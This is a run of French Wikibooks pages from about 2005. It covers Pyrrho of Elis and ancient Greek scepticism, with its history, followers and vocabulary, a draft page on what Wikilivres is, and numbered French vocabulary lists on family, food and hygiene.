[[Socrate]] ([[#Livre II Autour de Socrate|livre II]])||bgcolor="#EFEFEF"|[[Empédocle]] |- |colspan="3" bgcolor="#EFEFEF"|[[Platon]] (Livre III Platon)||bgcolor="#CCCCCC"|[[Xénophane]] (Livre IX Isolés et sceptiques) |- |bgcolor="#CCCCCC"|[[Speusippe]] ([[#Livre IV L'Académie|Livre IV]])||bgcolor="#CCCCCC"|[[Aristote]] (Livre V Les Péripatéticiens)||bgcolor="#CCCCCC"|[[Antisthène]] (Livre VI Les Cyniques)||bgcolor="#EFEFEF"|[[Héraclite]] (non italique) |- |bgcolor="#EFEFEF"|[[Xénocrate]]||bgcolor="#EFEFEF"|[[Théophraste]]||bgcolor="#EFEFEF"|[[Diogène]]||bgcolor="#EFEFEF"|[[Parménide]] |- |bgcolor="#EFEFEF"|[[Polémon]]||bgcolor="#EFEFEF"|[[Straton]]||bgcolor="#EFEFEF"|[[Cratès de Thèbes]]||bgcolor="#EFEFEF"|[[Mélissos]] |- |bgcolor="#EFEFEF"|[[Crantor]]||bgcolor="#EFEFEF"|[[Lycon]]||bgcolor="#EFEFEF"|[[Hipparchia]]||bgcolor="#EFEFEF"|[[Zénon d'Élée]] |- |bgcolor="#EFEFEF"|[[Arcésilas]]||bgcolor="#EFEFEF"|[[Démétrios de Phalère]]||bgcolor="#CCCCCC"|[[Zénon de Kition]] (Livre VII Les Stoïciens)||bgcolor="#EFEFEF"|[[Leucippe]] |- |bgcolor="#EFEFEF"|[[Lacydès]]||bgcolor="#EFEFEF"|[[Héraclide]]||bgcolor="#EFEFEF"|[[Cléanthe]]||bgcolor="#EFEFEF"|[[Démocrite]] |- |bgcolor="#EFEFEF"|[[Carnéade]]||bgcolor="#EFEFEF"| ||bgcolor="#EFEFEF"|[[Chrysippe]]||bgcolor="#CCCCCC"|[[Épicure]] (Livre X Épicure) |} </center> L'unité politique de la Grèce antique est celle de la cité ; unité tragique et sanglante, puisque les cités ne cessèrent pas de s'affronter. Or, bien qu'originaires de cités différentes, les Présocratiques furent parmi les premiers à prendre conscience de l'unité des peuples grecs, et ils furent souvent des pan-hellenistes. Ce projet politique ne fut jamais concrétisé. == Carte == <div> <p style="position:relative; top:644px; left:907px;">[[Image:ButtonYellow.png|5px]] [[Thalès de Milet]]</p> <p>[[Image:Greece 23.91172E 39.08554N.jpg]]</p> </div> Pyrrhon 5337 21600 2005-09-17T16:52:41Z Marc 66 provisoire ==== Pyrrhon ==== '''Pyrrhon d'Élis''' (en grec Πύρρων) (-360/-270) philosophe sceptique originaire d'Élis, ville provinciale du nord-ouest du Péloponnèse. Il est considéré par les sceptiques anciens comme le fondateur de ce que l'on a appelé le ''pyrrhonisme''. =====Biographie===== Nous ne savons à peu près rien de sa vie, et les renseignements dont nous disposons ne s'accordent pas. Il est le fils de Pleistarque, ou, selon [[Pausanias]] (IV, 24, 4), de Pistocrate. Vivant dans la pauvreté, il reçut une formation de peintre, mais il était un artiste médiocre. Il fut l'élève de Bryson, un disciple de [[Socrate]] et d'[[Euclide de Mégare]], puis d'Anaxarque qu'il suivit en Inde dans la campagne d'[[Asie]] d'[[Alexandre]]. Il y étudia avec les sophistes nus, et en Perse, où il fut instruit par les Mages. Il semble avoir connu Calanus ([[Plutarque]], ''Vie d'Alexandre'', 69). À son retour à Élis, il mena une vie simple et régulière, indifférent et serein, avec sa sœur Philista en vendant des cochons de lait. Il aimait à rester seul pour méditer. D'après [[Diogène Laërce]], son égalité d'âme ne fut prise en défaut que deux fois : il s'enfuit devant un chien, et il se mit en colère contre sa sœur. On suppose qu'il était devenu agnostique et s'abstenait de donner son opinion sur tout sujet. Il niait qu'une chose fût bonne ou mauvaise, vraie ou fausse en soi. Il doutait de l'existence de toute chose, disait que nos actions étaient dictées par les habitudes et les conventions et n'admettait pas qu'une chose soit, en elle-même, plutôt ceci que cela. Son attitude semblait ainsi résignée et pessimiste ; il répétait souvent le vers d'[[Homère]] : :''Les hommes sont semblables aux feuilles des arbres.'' Il est à ce titre considéré comme le créateur du scepticisme (ou plus exactement du pyrrhonnisme), mais il ne semble pas avoir eu l'intention de créer un courant de pensée [[philosophie|philosophique]]. Pyrrhon n'a rien écrit, mais son disciple [[Timon de Phlionte]], et les sceptiques tardifs comme [[Énésidème]], [[Nouménios]] et [[Nausiphane]], nous ont laissé de nombreux rouleaux dans lesquels ils discutaient de la [[méthode]] pour parvenir à l'état d'incompréhension (''[[acatalepsie]]'') et au [[bonheur]] de ne savoir absolument rien, de ne pas avoir la moindre certitude sur notre [[existence]] et sur l'existence d'autre chose ou sur la possibilité de son existence. Les quelques fragments de Timon qui nous sont parvenus nous décrivent Pyrrhon : :''Noble vieillard, Pyrrhon, comment et par quel chemin as-tu su échapper à l'esclavage des doctrines et des futiles enseignements des sophistes ? Comment as-tu brisé les liens de l'erreur et de la croyance servile ? Tu ne t'épuises pas à scruter la nature de l'air qui enveloppe la Grèce ni la nature et la fin de toutes choses.'' :''Pyrrhon, je désire ardemment apprendre de toi comment, étant encore sur la terre, tu mènes une vie si heureuse et tranquille, comment, seul parmi les mortels, tu jouis de la félicité des dieux.'' Le philosophe [[Épicure]], qui l'admirait de loin, était toujours curieux de connaître ce que Pyrrhon venait de dire ou de faire. Quant aux Éléens, ils étaient tellement fiers de Pyrrhon qu'ils le couvrirent d'honneurs. Il était très estimé de ses concitoyens et fut nommé grand prêtre. Il fut aussi fait citoyen d'honneur d'[[Athènes]]. Sa doctrine eut cependant des opposants : Des détracteurs de Pyrrhon dirent de lui que ''voyant un arbre sur son chemin, il ne détournerait pas sa route faute de certitude concernant la réelle existence de l'arbre''. ===== Enseignement supposé ===== L'enseignement de Pyrrhon suscita de nombreuses perplexités qui donnèrent lieu à des développements d'ordre méthodologique, résumés en plusieurs tropes. Pyrrhon ne les connaissait peut-être pas, nos sources ne nous permettant pas de décider sur ce point. Il en existe plusieurs séries ; dix tropes sur la relativité sont attribués à [[Ænésidème]], et cinq autres sur la certitude à [[Agrippa]]. ===== Disciples ===== *[[Euryloque]] *[[Philon d'Athènes]] *[[Hécatée d'Abdère]] *[[Nausiphanes de Téos]] *[[Numénius]] (douteux, peut-être contemporain de [[Ænésidème]]) Scepticisme/Bibliographie 5338 21601 2005-09-17T16:53:07Z Marc 66 * ''[[Vies, Doctrines et sentences des philosophes illustres]]'', Livre IX, [[Diogène Laërce]]. *''Les Sceptiques grecs'', Victor Brochard *''Pyrrhon ou l'apparence'', Marcel Conche *''Les philosophes hellénistiques'', Tome I, Long et Sedley. Scepticisme/Périodes 5339 21603 2005-09-17T16:55:16Z Marc 66 Cette [[philosophie]] ne semble prendre une forme systématique qu'au premier siècle après J.C. (ou quelques décennies avant J.C.), avec [[Ænésidème]], [[Agrippa]] puis [[Sextus Empiricus]]. Mais, avant eux, la [[Nouvelle Académie]] paraît être la véritable héritière du scepticisme pour la période IIIe siècle av. J.-C. - Ier siècle av. J.-C. Nous possédons deux œuvres de [[Sextus Empiricus]], les ''[[esquisses pyrrhoniennes]]'' et ''Contre les professeurs''. Ce qu'ont enseigné les autres sceptiques est difficile à établir avec certitude. === Les origines === D'après [[Diogène Laërce]] (IX, 71), certains sceptiques faisaient remonter l'origine de leur pensée à [[Homère]] et aux [[sept sages]]. On trouve en effet très tôt des formules sceptiques dans la culture grècque : ''Rien de trop'' par exemple. Mais on trouve également des interrogations sur la possibilité de la connaissance chez les [[Présocratiques]] : : ''À cause de la faiblesse de nos sens, nous sommes impuissants à distinguer la vérité.'' [[Anaxagore]] :''La vérité est au fond du puit.'' [[Démocrite]] :''Il n'y a jamais eu, il n'y aura jamais un homme qui connaisse avec certitude ce que je dis des dieux et de l'univers. Quand même il rencontrerait la vérité sur ces sujets, il ne serait pas sûr de la posséder : l'opinion règne en toutes choses.'' [[Xénophane de Colophon]] [[Protagoras]] affirme que sur tout sujet, on peut opposer des raisons contraires ([[Diogène Laërce]], IX, 51). De nombreux aspects de ce qui s'appellera plus tard le scepticisme imprègnent ainsi la civilisation de la [[Grèce]]. Mais leur synthèse en un système philosophique cohérent prendra encore quelques siècles. === L'ancien scepticisme === Nous savons peu de choses sur l'ancien scepticisme, qui paraît n'être essentiellement qu'un scepticisme pratique. ==== La Nouvelle Académie ==== La Nouvelle Académie est souvent rattachée à l'histoire du pyrrhonisme du fait de leur influence réciproque et de leur ressemblance : ==== Néo-pyrrhonisme ==== Il semble bien que le scepticisme n'atteint à sa conceptualisation la plus rigoureuse qu'à cette époque, avec des sceptiques que l'on a parfois qualifiés de dialectiques : ==== Les médecins sceptiques et l'école empirique ==== Plus ou moins différenciée du scepticisme dialectique, il exista également une branche empirique de cette école, branche particulièrement liée à la médecine et à l'expérimentation scientifique. Scepticisme/Liste des sceptiques 5340 21604 2005-09-17T16:57:31Z Marc 66 Cette liste donne les principaux philosophes sceptiques ainsi que leurs disciples ou auditeurs. Ces derniers ne feront sans doute pas l'objet d'un article, vu le peu de renseignements dont nous disposons. == L'ancien scepticisme == *[[Pyrrhon d'Élis]] (-360/-270), considéré comme le fondateur du scepticisme **[[Euryloque]] **[[Philon d'Athènes]] **[[Hécatée d'Abdère]] **[[Nausiphanes de Téos]] **[[Numénius]] (douteux, peut-être contemporain de [[Ænésidème]]) *[[Timon de Phlionte]] (vers 325 av. J.-C. - 235 av. J.-C.), disciple de Pyrrhon **[[Dioscoride de Chypre]] **[[Nicolochus de Rhodes]] **[[Euphranor de Séleucie]] **[[Praylus de Troade]] ou Praulos de Troade **[[Eunule d'Alexandrie]], maître de Ptolémée **[[Ptolémée de Cyrène]], maître de Sarpédon et d'Héraclite ** Sarpédon ** Héraclite == Le nouveau scepticisme == *[[Ænésidème]] (entre 80 av. J.-C. et 130 ap. J.-C.), successeur d'Héraclite * Xeusippe ? * Xeusis ? * Antiochos de Laodicée (ville de Syrie) *[[Agrippa]] (fin du Ier siècle ap. J.-C.) *[[Ménodote de Nicomédie]] (vers 150 ap. J.C. ?) * Théodas de Laodicée ? * Hérodote de Tarse, successeur de Ménodote, maître de [[Sextus Empiricus]] *[[Sextus Empiricus]] (début du IIIe siècle ap. J.-C.), médecin empirique, chef de l'école sceptique * Saturninus, médecin empirique contemporain de [[Diogène Laërce]] (IX, 116) et successeur de Sextus Empiricus Les partisans du scepticisme sont assez rares ; Victor Brochard signale, outre les philosophes de l'école : * Licinius Sura, correspondant de [[Pline le Jeune]] *[[Favorinus]] (vers 80 - 90 ap. J.C. - vers 150) (peut-être de la [[Nouvelle Académie]]) Scepticisme/Vocabulaire 5341 21606 2005-09-17T17:00:42Z Marc 66 Le [[scepticisme]] fut conceptualisé peut-être essentiellement à l'époque d'[[Ænésidème]]. C'est une doctrine qui s'efforce d'être aussi rigoureuse qu'il est possible, et cette rigueur s'exprime par des expressions et des concepts fondamentaux. == Les expressions sceptiques == === Expressions principales du scepticisme === Toutes ces expressions indiquent un même affect (''pathos'', voir ce mot) proprement sceptique. *'''''Pas plus''''' (en grec ''ou mâllon'') est une expression elliptique ([[Sextus Empiricus]], ''[[Esquisses pyrrhoniennes]]'', I, 188) pour ''pas plus ceci que cela'', ou ''pourquoi ceci plutôt que cela ?''. Il signifie l'affect (voir ce mot) sceptique selon lequel la pensée est conduite à l'équilibre par l'opposition à force égale de plusieurs raisonnements. *'''''Peut-être, peut-être pas''''' ; il est permis, il n'est pas permis ; il est possible, il n'est pas possible : ces expressions indiquent la non-assertion, le fait que l'on affirme pas l'existence d'une chose (''[[Esquisses pyrrhoniennes]]'', I, 194 - 195). *'''''Je suspends mon assentiment''''' : exprime l'absence de conviction, les arguments opposés ayant force égale. *'''''Je ne détermine rien''''', je ne définis rien *'''''Toutes choses sont indéterminées''''' *'''''Toutes choses sont insaisissables''''', tout est incompréhensible (''panta estin acatalepta'') : i.e., selon Sextus, ''tous les objets de recherche obscurs parcourus de façon dogmatique m'apparaissent insaisissable'' (I, 200). *'''''Je n'ai pas de saisie''''', je ne saisis pas, je ne sais rien *'''''A tout argument s'oppose un argument égal''''' == Vocabulaire == === Acatalepsie === En grec ''akatalêptos'', insaisissable. Le scepticisme distingue deux sens du radical « saisie » : *une conception *une affirmation d'existence Le sceptique ne rejette pas le premier sens, puisqu'il ne s'agit pas de se prononcer sur la nature des choses. En revanche, on ne peut comprendre la réalité au second sens, car sur toute chose des arguments contraires peuvent être employés. Néanmoins, le philosophe sceptique ne peut pas même affirmer l'acatalepsie des choses en soi, car c'est une thèse dogmatique qui est d'ailleurs attribuée aux Académiciens. === Affect === En grec ''pathos'', désigne ici les perceptions et les sentiments, seuls réalités crédibles selon le scepticisme : :''[...] le sceptique donne son assentiment aux affects qui s'imposent à lui à travers une impression ; par exemple il ne dira pas, alors qu'il a chaud ou qu'il a froid, « il me semble que je n'ai pas chaud ou que je n'ai pas froid »'' (I, 13). Le sceptique reconnaît donc l'existence de ce qui lui apparaît tel que cela lui apparait (le [[phénomène]]) et lui donne un statut d'objet. === Aporie === === Assentiment === === Assertion === === Ataraxie === L'Ataraxie est la tranquilité absolue de l'âme. === Critère === === Démonstration === === Diallèle === === Dogme === === Impression === === Indécidable === === Isosthénie === === Mode (trope, tropos) === Les tropes, en grec ''tropoi'' (appelés aussi ''arguments'', en grec ''logoi'', et ''types'', en grec ''tupoi'') sont des procédés pour parvenir à la suspension du jugement : *Les dix tropes d'[[Ænésidème]], ''voir [[Ænésidème#Les tropes|Les tropes]]'' *Les huit tropes relatifs à la causalité, ''voir [[Ænésidème#II. La causalité|La causalité]]'' *Les cinq tropes d'[[Agrippa]], ''voir [[Agrippa]]'' *Les deux tropes, forme la plus synthétique du scepticisme, résument les tropes précédantes : rien ne peut être saisi ni par soi-même ni par autre chose, donc il faut suspendre son jugement. :''[178] [...] puisque tout ce que l'on saisit semble l'être soit par lui-même, soit par autre chose, <en nous suggérant que rien n'est saisi par soi-même ni par quelque chose d'autre>, ils semblent introduire l'aporie sur toutes choses. Que rien ne soit saisi par soi-même est clair d'après, je pense, le désaccord qui s'est élevé parmi les physiciens à propos de tous les sensibles et de tous les intelligibles ; désaccord qui est indécidable, étant donné que nous sommes incapables d'utiliser un critère sensible ou intelligible, parce que tout critère, quel que soit celui que nous prenions, ayant été objet de désaccord n'emporte pas la conviction.[179] Voici pourquoi ils ne consentent pas que l'on puisse appréhender quelque chose par quelque chose d'autre. Si, en effet, ce par quoi quelque chose est saisi aura lui-même toujours besoin de quelque chose d'autre par quoi être saisi, ils nous amènent au mode du diallèle ou à celui de la régression à l'infini. Et si l'on voulait poser que ce par quoi quelque chose d'autre est saisi est saisi par soi-même, on se heurterait au fait que, d'après ce qu'on a dit auparavant, rien ne peut être saisi par soi-même.'' <p align="right">''[[Esquisses pyrrhoniennes]]'', livre I, 178 - 179, traduction P.Pellegrin.</p> === Relatif === === Scepticisme === En grec ''skepsis'', examen, recherche. Par opposition aux dogmatiques, le philosophe sceptique est un chercheur ; en ce sens, il n'y a pas vraiment d'école sceptique, mais plutôt une voie (''agôgê'') : :''[1] Quand on mène une recherche sur un sujet déterminé, il s'ensuit apparemment soit qu'on fait une découverte, soit qu'on dénie avoir fait une découverte et qu'on reconnaît que la chose est insaisissable [''acatalepsias''], soit qu'on continue la recherche.'' <p align="right">''[[Esquisses pyrrhoniennes]]'', livre I, 1, traduction P.Pellegrin.</p> Les deux premières possiblités sont le fait des dogmatiques qui affirment soit qu'ils ont découvert le vrai (par exemple [[Aristote]], les [[stoïcisme|stoïciens]], etc.), soit que le vrai ne peut être saisi (les Nouveaux Académiciens). Tout ce qu'affirme le sceptique, c'est qu'il n'en sait rien. === Signe === Image:Sextus.jpg 5342 21608 2005-09-17T17:05:02Z Marc 66 Copié de fr: Domaine public Copié de fr: Domaine public Vocabulaire / Famille 5344 24253 2005-10-25T18:47:23Z Oui 428 == personnes== (V001) *1 femme *2 homme *3 fille *4 garçon *5 féminin *6 masculin *7 nouveau-né *8 nourrisson *9 enfant *10 adolescent *11 adulte *12 vieillard == parents, et frères et sœurs== (V001) *1 mère *2 père *3 fille *4 fils *5 sœur *6 frère *7 grand-mère *8 grand-père *9 petite-fille *10 petit-fils *11 tante *12 oncle *13 nièce *14 neveu *15 cousine *16 cousin *17 adopter *18 parents adoptifs *19 mère adoptive *20 père adoptif *21 fille adoptive *22 fils adoptif *23 sœur adoptive *24 frère adoptif *25 parent == belle-famille== (V001) *1 belle-mère *2 beau-père *3 belle-sœur *4 beau-frère *5 beaux-parents *6 bru *7 gendre == mariage== (V001) *1 noces *2 divorce *3 célibataire *4 fiancé *5 marié *6 divorcé *7 fiancée *8 fiancé *9 mari *10 épouse *11 ex-mari *12 ex-épouse *13 célibataire (f.) *14 célibataire (m.) *15 remariage *16 mère par remariage *17 père par remariage *18 sœur par remariage *19 frère par remariage *20 sœur du côté maternel *21 sœur du côté paternel *22 frère du côté maternel *23 frère du côté paternel *24 concubine *25 concubin *26 concubinage *27 mariage polygame == enfance== (V001) *1 puberté *2 vierge *3 femme enceinte *4 accoucher *5 naître *6 sage-femme *7 salle de travail *8 allaiter *9 langer *10 lange *11 peser *12 grandir *13 fille *14 garçon *15 mineur *16 tutelle *17 tuteur == vie== (V001) *1 adulte *2 majeur *3 solitaire *4 handicapé *5 responsable *6 dépendant *7 maison de soins *8 hôpital *9 vieillir *10 maison de retraite == étapes de vie et fin== (V001) *1 document *2 acte de naissance *3 document d'appartenance religieuse *4 acte de mariage *5 contrat de mariage *6 contrat de vie commune *7 sentence de divorce *8 sentence de mise sous tutelle *9 acte de décès *10 testament *11 date *12 date de naissance *13 date d'appartenance à la religion *14 date de mariage *15 date de contrat de mariage *16 date de début de vie commune *17 date de sentence de divorce *18 date de sentence de mise sous tutelle *19 date de décès *20 baptême *21 circoncision *22 fête *24 invité *25 hôte *26 festin *27 don *28 participation aux frais *29 arrivée *30 conclusion *30 finir *31 départ *23 anniversaire *24 félicitations *25 vieillesse *26 agonir *27 mourir *28 enterrement *29 cercueil *30 cimetière *31 sépulture *32 religieux *33 civil *34 condoléances *35 deuil *36 héritage *37 notaire == Autres langues: == [http://de.wikibooks.org/wiki/Vokabular_/_Familie allemand] - [http://ie.wikibooks.org/wiki/Vocabul%C3%A1rium_/_Familie interlingue (ex occidental)] - [http://mg.wikibooks.org/wiki/Voambolana_/_Tontolon'ny_fianakaviana malgache] Le cas Wagner, index 5347 21633 2005-09-18T09:09:38Z Marc 66 [[Le cas Wagner, index]] déplacé vers [[Le Cas Wagner, index]] #redirect [[Le Cas Wagner, index]] Wikilivres:Qu'est-ce que Wikilivres ? 5352 26292 2005-11-30T18:02:29Z Darkdadaah 440 /* Des textes de savoir-faire */ {| style="border:1px dashed #aaaaaa" cellpadding=5 align=center | bgcolor=#ffffee | Cette page est en cours de rédaction ; elle n'a donc pour l'instant aucune autorité. Pour en discuter, allez sur la [[Discussion:Wikilivres:Qu'est-ce que Wikilivres ?|page de discussion]]. |} '''Wikilivres''' est une collection de livres pédagogiques libres et gratuits. Cette page a pour but de définir précisément ce qu'est Wikilivres et ce qu'il n'est pas, ainsi que ce qui le distingue des autres projets Wikimédias. == Ce que Wikilivres contient == Le terme « livre pédagogique » peut paraitre vague, cette page vise donc à dresser une liste des contenus admissibles sur Wikilivres. === Des livres pédagogiques structurés === Contrairement à Wikipédia, Wikilivres permet de créer un livre complet sur un sujet, et non une simple page synthétique. Les livres complètent donc Wikipédia en proposant un contenu plus complet, structuré, uniforme et plus orienté vers l'apprentissage. Le contenu des Wikilivres est en effet structuré en différentes parties ou chapitres, distribuées sur plusieurs pages généralement, mais toujours organisées de manière à guider le lecteur. Cela démarque les livres des articles encyclopédiques qui sont censés être autonomes et centrés sur un sujet précis. === Des livres d'apprentissage === Wikilivres contient des livres d'apprentissage dans tous les domaines. Il existe des livres pour apprendre différentes langues, des livres d'enseignement pour tous les arts (musique, dessin, photographie…), des livres sur l'informatique etc. === Des livres scolaires === Les livres pédagogiques contiennent bien entendu des livres scolaires, qui pourront aider les élèves, les étudiants (ainsi que leurs parents) à appréhender les enseignements qu'ils suivent. === Des textes de savoir-faire === Le savoir-faire est un savoir appréciable qu'il est important de transmettre. Qu'il s'agisse de cuisine, de programmation ou de bricolage, ce genre de livre a tout à fait sa place sur Wikilivres. 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que Wikilibros no es]] [[en:Wikibooks:What is Wikibooks]] Vocabulaire / Alimentation 5353 24616 2005-10-29T21:02:16Z Oui 428 ''le vocabulaire choisi tente de transcrire l'équivalence culinaire avec des mots usités habituellement, sans terme scientifique'' == aliments végétariens== (V001) *1 légume *2 pomme de terre *3 manioc *4 igname *5 carotte *6 tubercule *7 betterave *8 betterave blanche *9 chou-rave *10 topinambour *11 radis *12 radis blanc *13 radis noir *14 réglisse *15 arachide *16 ''' champignons ''' *17 chanterelle *18 morille *19 truffe *20 bolet *21 comestible *22 vénéneux *23 sellerie *24 chicorée *25 ''' chou ''' *26 chou rouge *27 chou fleur *28 chou bruxellois *29 brocoli *30 chou de Milan *31 chicon *32 chou pékinois *33 colza *34 poireau *35 fenouil *36 artichaut *37 épinard *38 blette *39 oseille *40 salade *41 laitue *42 laitue romaine *43 endive *44 chicorée frisée *45 doucette *46 cresson de jardin *47 cresson de fontaine *48 roquette *49 pissenlit *50 ''' céréale ''' *51 riz *52 soja *53 froment *54 seigle *55 avoine *56 orge *57 millet *58 mais *59 lentille *60 haricot *61 pois *62 pois chiche *63 ''' tomate ''' *64 concombre *65 cornichon *66 courgette *67 poivron *68 piment *69 aubergine *70 ''' persil ''' *71 ciboulette *72 cerfeuil *73 aneth *74 sauge *75 basilique *76 origan *77 menthe *78 pourpier *79 bourrache *80 hysope *81 romarin *82 armoise *83 estragon *84 absinthe *85 nigelle *86 cardamome *87 cumin *88 carvi *89 coriandre *90 anis *91 badiane *92 genièvre *93 câpre *94 ''' poivre ''' *95 moutarde *96 poivre rouge *97 échalote *98 ail *99 thym *100 laurier *101 girofle *102 cannelle *103 muscat *104 raifort *105 gingembre *106 safran *107 vanille *108 rhubarbe *109 ''' huile ''' *110 olive *111 raps *112 lin *113 ricin *114 arachide *115 palme *116 palmiste *117 soja *118 amande *119 sésame == fruits== (V001) *1 avocat *2 banane *3 citron *4 limette *5 pomme *6 poire *7 coing *8 cerise *9 prune *10 mirabelle *11 pêche *12 abricot *13 ''' baies ''' *14 raisin *15 fraise *16 framboise *17 mûre *18 groseille, cassis *19 groseille à maquereau *20 myrtille *21 airelle rouge *22 argousier *23 sureau *24 rose *26 cactus *27 châtaigne *28 figue *29 melon *30 pastèque *31 houblon *32 noisette *33 pin cembrot *34 noix de cajou *35 orange *36 ananas *37 mangue *38 papaye *39 litchi *40 kiwi == aliments végétaux élaborés== (V001) *1 pâte feuilletée *2 pâte brisée *3 pâte à pain *4 pâte à choux *5 pâte à frire *6 pâte à galette *7 ''' pain ''' *8 boule de pain *9 galette de pain *10 pain long *11 pain oblong *12 petit pain *13 pain de froment *14 pain de seigle *15 levure *16 pain au levain *17 pain de grains complets *18 pain complet *19 tranche de pain *20 morceau de pain *21 ''' sucre ''' *22 sucre en morceaux *23 sucre en poudre *24 sucre cristal *25 mélasse *26 margarine *27 graisse *28 bloc de graisse *29 planchette de graisse *30 huile *31 première pression *32 décolorée *33 neutralisée *34 filtrée *35 désodorisée *36 '' bouillon ''' *37 bouillon en poudre *38 cube de bouillon *39 sauce de soja *40 ''' pâtes ''' *41 spaghetti *42 vermicelle *43 macaroni *44 raviolis *45 lasagnes *46 ''' choucroute ''' *47 ''' condiments ''' *48 sel *49 vinaigre *50 vinaigre de vin *51 jus de citron *52 sauce *53 mayonnaise *54 ketchup *55 pistou *56 ailloli *57 boîte de tomates *58 boîte de jus de tomates *59 purée de tomates == formes de distribution et de mesure== (V001) *1 poudre *2 pièce *3 bâton *4 noix *5 feuilles *6 racine *7 fleur *8 séché *9 broyé *10 fragment *11 farine *12 flocon *13 grain *14 purée *15 pâte *16 ''' sac ''' *17 sachet *18 papier *19 carton *20 feuille *21 feuille transparente *22 filet *23 boîte *24 canette *25 boîte métallique *26 caisse *27 caissette *28 caisse en bois *29 casier à bouteilles *30 ''' verre ''' *31 flacon *32 anneau de caoutchouc *33 feuille cachet de garantie *34 bouteille *35 petite bouteille *36 bidon *37 baril *38 tonneau *39 tube *40 tube d'aluminium *41 pot *42 petit pot *43 pot en plastique *44 palette de transport *45 mousse de protection *46 bande de fixation *47 ''' unité ''' *48 tête (salade, chou, etc.) *49 tronc *50 feuille *51 branche *52 série *53 assortiment *54 douzaine *55 demi-douzaine *56 moitié *57 ''' cuillerée ''' *58 cuillère à soupe *59 cuillère à dessert *60 cuillère à café *61 cuillère dose *62 pincée *63 quantité *64 peser *65 balance *66 verre gradué == actions== (V001) *1 procurer *2 acheter *3 laver *4 rincer *5 brosser *6 peller *7 décortiquer *8 ''' couper ''' *9 trancher *10 petits morceaux *11 hacher *12 presser *13 moudre *14 sécher *15 essuyer *16 essorer *17 verser *18 égoutter *19 frotter *20 couvrir *21 couvrir au pinceau *22 mélanger *23 battre *24 étaler *25 filtrer *26 passer *27 décanter *28 (é)tirer *29 former *30 rouler *31 aplatir *32 piler *33 introduire *34 remplir *35 distribuer *36 répartir *37 fragmenter *38 ''' cuisiner ''' *39 bouillir *40 frire *41 cuire au four *42 griller *43 piquer *44 brochette *45 rafraîchir *46 reposer *47 mûrir *48 infuser *49 mariner *50 blanchir *51 brunir *52 croustillant (devenir ~) *53 diluer *54 rallonger *55 fondre *56 ''' présenter ''' *57 arranger *58 retourner *59 côté *60 dos *61 doré *62 décorer *63 mettre *64 râper *65 gratter *66 arroser *67 (par)semer *68 copieusement *69 servir *70 apporter *71 précuit == quelques aliments aquatiques== (V001) *1 algue *2 poisson *3 crabe *4 coquillage *5 truite *6 brochet *7 carpe *8 anguille *9 hareng *10 maquereau *11 sardine *12 seiche *13 poisson plat *14 huître *15 homard *16 raie *17 morue *18 thon *19 caviar == aliments d'origine animale== (V001) *1 miel *2 oeuf *3 ''' lait ''' *4 crème *5 fromage *6 frais *7 fait *8 dur *9 râper (à ~) *10 bicarbonate *11 moisissure *12 caséine *13 fromage blanc *14 fermenté *15 yaourt *16 beurre *17 sang *18 coaguler *19 ''' viande ''' *21 os *22 lard gras *23 lard *24 muscle *25 gigot *26 filet *27 poitrine *28 col *29 côte *30 cervelle *31 foie *32 rein *33 intestin *34 langue *35 peau *36 ''' gélatine ''' *37 saucisson *38 boudin *39 cru *40 cuit *41 salade *42 sec *43 fumé *44 congelé *45 conserve *46 boîte *47 ' bœuf ''' *48 agneau *49 chèvre *50 porc *51 cheval *52 chameau *53 lapin *54 d'élevage *55 sauvage *56 chevreuil *57 ''' poule ''' *58 canard *59 oie *60 pigeon *61 dinde *62 faisan *63 perdrix *64 escargot *65 ''' transformation de la viande ''' *66 abattre *67 saigner *68 découper *69 vider *70 dépouiller *71 plumer *72 écailler *73 laver *74 dégraisser *75 suspendre *76 trancher *77 désosser *78 garnir *79 hacher *80 hache-viande *81 aiguiser *82 ''' plat de viande ''' *83 rôti *84 friture *85 ragoût *85 plat chaud *87 grillade *88 poêlée *89 en croûte == entrées== (V001) *1 crudités de légumes *2 crudités de salades *3 oeufs durs *4 oeufs mimosa *5 soupe *6 potage de tomates *7 soupe de queue de bœuf *8 soupe chinoise aux pâtes *9 crevettes à l'avocat *10 pâté de foi *11 sardines à l'huile d'olive == boissons sans alcool== (V001) *1 eau *2 potable *3 de puit *4 gazeuse *5 plate *6 gazeuse naturelle *7 minérale *8 limonade *9 limonade caféinée *11 ''' thé ''' *12 thé vert *13 thé noir *14 thé "fumé" *15 tisane *16 tisane de tilleul *17 tisane de menthe *18 tisane de camomille *19 tisane de fenouille *20 tisane de maté *21 décocter *22 ''' café ''' *23 grain *24 moulu *25 poudre *26 fin *27 grossier *28 moulin à café *29 filtre *30 cafetière *31 théière *32 ''' cacao ''' *33 moussant *34 chaud *35 froid *36 réfrigéré *37 glace *38 glace-sorbet *39 ''' jus ''' *40 jus de pomme *41 jus d'orange *42 jus de raisin == boissons alcoolisées== (V001) *1 bière *2 cidre *3 vin *4 mousseux *5 eau de vie *6 liqueur == Autres langues: == [http://de.wikibooks.org/wiki/Vokabular_/_Ernährung allemand] - [http://ie.wikibooks.org/wiki/Vocabul%C3%A1rium_/_Nutrition interlingue (ex occidental)] - [http://mg.wikibooks.org/wiki/Voambolana_/_Sakafo malgache] Vocabulaire / Hygiène 5354 24255 2005-10-25T18:49:40Z Oui 428 == nettoyer== (V001) *1 dépolluer *2 dépoussiérer *3 balayer *4 aspirer *5 frotter *6 gratter *7 enlever *8 éliminer *9 jet d'air comprimé *10 asperger *11 rincer *12 laver *13 décrasser *14 écraser *15 essorer *16 essuyer *17 sécher *18 polir *19 cirer *20 briller *21 soigner *22 ''' balai ''' *23 balayette *24 pelle *25 aspirateur *26 chiffon *27 spongieux *28 nettoyant *29 séchant *30 séchage *31 essuyette *32 propre *33 sale *34 ''' brosse ''' *35 éponge *36 absorbant *37 grattant *38 cuvette *39 escabeau, échelle *40 manche *41 long *42 court *43 morceaux, télescopique *44 métallique *45 en bois *46 sciure *47 eau *48 alcool *49 lavant *50 ''' bloc de savon ''' *51 savon gras *52 poudre *53 grain *54 granulé *55 liquide *56 cire *57 produit == toilette== (V001) *1 laver *2 doucher *3 baigner *4 couper *5 raser *6 peigner *7 coiffer *8 tondre *9 pulvériser *10 épiler *11 parfumer *12 ''' coupe ''' *13 coupe en brosse *14 barbe *15 collier *16 bouc *17 moustache *18 favoris *19 calvitie partielle *20 tresse de cheveux *21 queue de cheval *22 couettes *23 coiffeur *24 gant de toilette *25 serviette de toilette *26 rasoir *27 lame *28 aiguiser *29 bloc à aiguiser *30 cuir à affûter *31 pâte à affûter *32 ciseaux *33 ciseaux à ongles *34 pince coupe-ongles *35 lime *36 rabot *37 lancette à curer *38 brosse à dents *39 fil à dents 